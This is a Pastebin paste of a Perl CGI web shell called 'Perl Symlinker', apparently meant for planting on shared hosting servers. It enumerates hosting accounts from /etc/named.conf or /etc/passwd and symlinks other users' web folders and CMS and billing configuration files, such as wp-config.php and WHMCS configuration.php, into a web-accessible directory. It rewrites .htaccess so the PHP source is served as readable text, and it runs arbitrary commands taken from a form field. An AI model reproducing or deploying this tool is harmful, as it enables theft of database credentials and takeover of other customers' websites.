Advertisement
0xspade

Perl Symlinker

Jan 20th, 2017
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 8.41 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2.  
  3. local ($buffer, @pairs, $pair, $name, $value, %FORM);
  4.     # Read in text
  5.     $ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;
  6.     if ($ENV{'REQUEST_METHOD'} eq "GET")
  7.     {
  8.     $buffer = $ENV{'QUERY_STRING'};
  9.     }
  10.     # Split information into name/value pairs
  11.     @pairs = split(/&/, $buffer);
  12.     foreach $pair (@pairs)
  13.     {
  14.     ($name, $value) = split(/=/, $pair);
  15.     $value =~ tr/+/ /;
  16.     $value =~ s/%(..)/pack("C", hex($1))/eg;
  17.     $FORM{$name} = $value;
  18.     }
  19.     $server = $FORM{server};
  20.     $perl  = $FORM{perl};
  21.     $config  = $FORM{config};
  22.     $execute  = $FORM{execute};
  23.     $execmd = $FORM{execmd};
  24.     $exe  = $FORM{exe};
  25. print "Content-type: text/html\n\n";
  26. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  27. <html xmlns="http://www.w3.org/1999/xhtml">
  28. <head>
  29. <http-equiv="Content-Language" content="en-us" />
  30. <http-equiv="Content-Type" content="text/html; charset=utf-8" />
  31. <style type="text/css">
  32. .newStyle1 {
  33. background-color: #111111;
  34. font-family: "Courier New", Courier, monospace;
  35. font-weight: bold;
  36. color: lime;
  37. }
  38. .style1 {
  39. text-align: center;
  40. font-color: lime;
  41. }
  42. .but
  43. {background-color: #111111;color:lime; border-color:#111111;}
  44. .box
  45. {background-color:#1c1c1c;color:lime;width:27%; border-color:#111111;}
  46. .tbox
  47. {background-color:#1c1c1c;color:lime;border-color:#111111;}
  48. </style>
  49. </head>
  50. <body class="newStyle1">
  51. <center><font size=4><pre>
  52.      ___                         ___           ___           ___    
  53.     /  /\          ___          /  /\         /  /\         /  /\    
  54.    /  /::\        /  /\        /  /::\       /  /::\       /  /::\  
  55.   /__/:/\:\      /  /::\      /  /:/\:\     /  /:/\:\     /  /:/\:\  
  56.  _\_ \:\ \:\    /  /:/\:\    /  /::\ \:\   /  /:/  \:\   /  /::\ \:\
  57. /__/\ \:\ \:\  /  /::\ \:\  /__/:/\:\_\:\ /__/:/ \__\:| /__/:/\:\ \:\
  58. \  \:\ \:\_\/ /__/:/\:\_\:\ \__\/  \:\/:/ \  \:\ /  /:/ \  \:\ \:\_\/
  59.  \  \:\_\:\   \__\/  \:\/:/      \__\::/   \  \:\  /:/   \  \:\ \:\  
  60.   \  \:\/:/        \  \::/       /  /:/     \  \:\/:/     \  \:\_\/  
  61.    \  \::/          \__\/       /__/:/       \__\::/       \  \:\    
  62.     \__\/                       \__\/            ~~         \__\/    
  63.  
  64.                      
  65. </pre></font></font></center>
  66. <p class="style1"></p>
  67. <table align=center><tr><td><form><input type=hidden name="server" value="Server Sym"><input type="submit" value="Server" class=but></form></td>
  68. <td><form><input type=hidden name="perl" value="Perl Sym"><input type="submit" value="Perl" class=but></form></td>
  69. <td><form><input type=hidden name="config" value="Get config"><input type="submit" value="Config" class=but></form></td></tr></table><br><br>
  70. <center><form><input type=text name=execute class=box value='.$execute.'><input type=hidden name="execmd" value="Execute"> <input type=submit name=exe value="Execute" class=but></form></center>';
  71.  
  72. sub getsym
  73. {
  74.             symlink('/home/'.$_[0].'/public_html/vb/includes/config.php',$_[1].'~~vBulletin1.txt');
  75.             symlink('/home/'.$_[0].'/public_html/core/includes/config.php',$_[1].'~~vBulletin5.txt');
  76.             symlink('/home/'.$_[0].'/public_html/includes/config.php',$_[1].'~~vBulletin2.txt');
  77.             symlink('/home/'.$_[0].'/public_html/forum/includes/config.php',$_[1].'~~vBulletin3.txt');
  78.             symlink('/home/'.$_[0].'/public_html/vb/core/includes/config.php',$_[1].'~~vBulletin5.txt');
  79.             symlink('/home/'.$_[0].'/public_html/inc/config.php',$_[1].'~~mybb.txt');
  80.             symlink('/home/'.$_[0].'/public_html/config.php',$_[1].'~~Phpbb1.txt');
  81.             symlink('/home/'.$_[0].'/public_html/forum/includes/config.php',$_[1].'~~Phpbb2.txt');
  82.             symlink('/home/'.$_[0].'/public_html/conf_global.php',$_[1].'~~ipb1.txt');
  83.             symlink('/home/'.$_[0].'/public_html/wp-config.php',$_[1].'~~Wordpress1.txt');
  84.             symlink('/home/'.$_[0].'/public_html/blog/wp-config.php',$_[1].'~~Wordpress2.txt');
  85.             symlink('/home/'.$_[0].'/public_html/configuration.php',$_[1].'~~Joomla1.txt');
  86.             symlink('/home/'.$_[0].'/public_html/blog/configuration.php',$_[1].'~~Joomla2.txt');
  87.             symlink('/home/'.$_[0].'/public_html/joomla/configuration.php',$_[1].'~~Joomla3.txt');
  88.             symlink('/home/'.$_[0].'/public_html/bb-config.php',$_[1].'~~boxbilling.txt');
  89.             symlink('/home/'.$_[0].'/public_html/billing/bb-config.php',$_[1].'~~boxbilling.txt');
  90.             symlink('/home/'.$_[0].'/public_html/whm/configuration.php',$_[1].'~~Whm1.txt');
  91.             symlink('/home/'.$_[0].'/public_html/whmc/configuration.php',$_[1].'~~Whm2.txt');
  92.             symlink('/home/'.$_[0].'/public_html/support/configuration.php',$_[1].'~~Whm3.txt');
  93.             symlink('/home/'.$_[0].'/public_html/client/configuration.php',$_[1].'~~Whm4.txt');
  94.             symlink('/home/'.$_[0].'/public_html/billings/configuration.php',$_[1].'~~Whm5.txt');
  95.             symlink('/home/'.$_[0].'/public_html/billing/configuration.php',$_[1].'~~Whm6.txt');
  96.             symlink('/home/'.$_[0].'/public_html/clients/configuration.php',$_[1].'~~Whm7.txt');
  97.             symlink('/home/'.$_[0].'/public_html/whmcs/configuration.php',$_[1].'~~Whm8.txt');
  98.             symlink('/home/'.$_[0].'/public_html/order/configuration.php',$_[1].'~~Whm9.txt');
  99.             symlink('/home/'.$_[0].'/public_html/admin/conf.php',$_[1].'~~5.txt');
  100.             symlink('/home/'.$_[0].'/public_html/admin/config.php',$_[1].'~~4.txt');
  101.             symlink('/home/'.$_[0].'/public_html/conf_global.php',$_[1].'~~invisio.txt');
  102.             symlink('/home/'.$_[0].'/public_html/include/db.php',$_[1].'~~7.txt');
  103.             symlink('/home/'.$_[0].'/public_html/connect.php',$_[1].'~~8.txt');
  104.             symlink('/home/'.$_[0].'/public_html/mk_conf.php',$_[1].'~~mk-portale1.txt');
  105.             symlink('/home/'.$_[0].'/public_html/include/config.php',$_[1].'~~12.txt');
  106.             symlink('/home/'.$_[0].'/public_html/settings.php',$_[1].'~~Smf.txt');
  107.             symlink('/home/'.$_[0].'/public_html/includes/functions.php',$_[1].'~~phpbb3.txt');
  108.             symlink('/home/'.$_[0].'/public_html/include/db.php',$_[1].'~~infinity.txt');
  109. }
  110. sub chdr
  111. {
  112.     chdir $_[0];
  113.     open(DATA, ">.htaccess");
  114.     print DATA "Options all\nDirectoryIndex sp.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
  115. }
  116. if($server eq "Server Sym")
  117. {
  118.     mkdir "Spade_perlsym", 0755;
  119.     &chdr("Spade_perlsym");
  120.     chdir "Spade_perlsym";
  121.     open (d0mains, '/etc/named.conf') or $err=1;
  122.     @kr = <d0mains>;
  123.     close d0mains;
  124.     if ($err)
  125.     {
  126.         open INPUT, "</etc/passwd";
  127.         while ( <INPUT> )
  128.         {
  129.             $line=$_; @sprt=split(/:/,$line); $user=$sprt[0];
  130.             system('ln -s /home/'.$user.'/public_html ' . $user);
  131.         }
  132.         print '<center>//>> <a href=Spade_perlsym>Server Sym</a></center>';
  133.     }
  134.     else
  135.     {
  136.         foreach my $one (@kr)
  137.         {
  138.             if($one =~ m/.*?zone "(.*?)" {/)
  139.             {
  140.                 $filename= "/etc/valiases/".$1;
  141.                 $owner = getpwuid((stat($filename))[4]);
  142.                 system('ln -s /home/'.$owner.'/public_html ' . $1);
  143.             }
  144.         }
  145.         print '<center>//>> <a href=Spade_perlsym>Server Sym</a></center>';
  146.     }
  147. }
  148. elsif($perl eq "Perl Sym")
  149. {
  150.     mkdir "Spade_perlsym", 0755;
  151.     &chdr("Spade_perlsym");
  152.     chdir "Spade_perlsym";
  153.     open (d0mains, '/etc/named.conf') or $err=1;
  154.     @kr = <d0mains>;
  155.     close d0mains;
  156.     if ($err)
  157.     {
  158.         open INPUT, "</etc/passwd";
  159.         while ( <INPUT> )
  160.         {
  161.             $line=$_; @sprt=split(/:/,$line); $user=$sprt[0];
  162.             symlink('/home/'.$user.'/public_html', $user);
  163.         }
  164.         print '<center>//>> <a href=Spade_perlsym>Perl Sym</a></center>';
  165.     }
  166.     else
  167.     {
  168.         foreach my $one (@kr)
  169.         {
  170.             if($one =~ m/.*?zone "(.*?)" {/)
  171.             {
  172.                 $filename= "/etc/valiases/".$1;
  173.                 $owner = getpwuid((stat($filename))[4]);
  174.                 symlink('/home/'.$owner.'/public_html', $1);
  175.             }
  176.         }
  177.         print '<center>//>> <a href=Spade_perlsym>Perl Sym</a></center>';
  178.     }
  179. }
  180. elsif($config eq "Get config")
  181. {
  182.     mkdir "Spade_perlsym2", 0755;
  183.     &chdr("Spade_perlsym2");
  184.     chdir "Spade_perlsym2";
  185.     open (d0mains, '/etc/named.conf') or $err=1;
  186.     @kr = <d0mains>;
  187.     close d0mains;
  188.     if ($err)
  189.     {
  190.         open INPUT, "</etc/passwd";
  191.         while ( <INPUT> )
  192.         {
  193.             $line=$_; @sprt=split(/:/,$line); $user=$sprt[0];
  194.             $user1 = $user;
  195.             &getsym($user,$user1);
  196.         }
  197.         print '<center>//>> <a href=Spade_perlsym2>Config Sym</a></center>';
  198.     }
  199.     else
  200.     {
  201.         foreach my $one (@kr)
  202.         {
  203.             if($one =~ m/.*?zone "(.*?)" {/)
  204.             {
  205.                 $filename= "/etc/valiases/".$1;
  206.                 $owner = getpwuid((stat($filename))[4]);
  207.                 &getsym($owner,$1);
  208.             }
  209.         }
  210.         print '<center>//>> <a href=Spade_perlsym2>Config Sym</a></center>';
  211.     }
  212. }
  213. elsif($execmd eq "Execute")
  214. {
  215.     print '<br><br><center><pre>'.readpipe($execute).'</pre></center>';
  216. }
  217. print '</body></html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement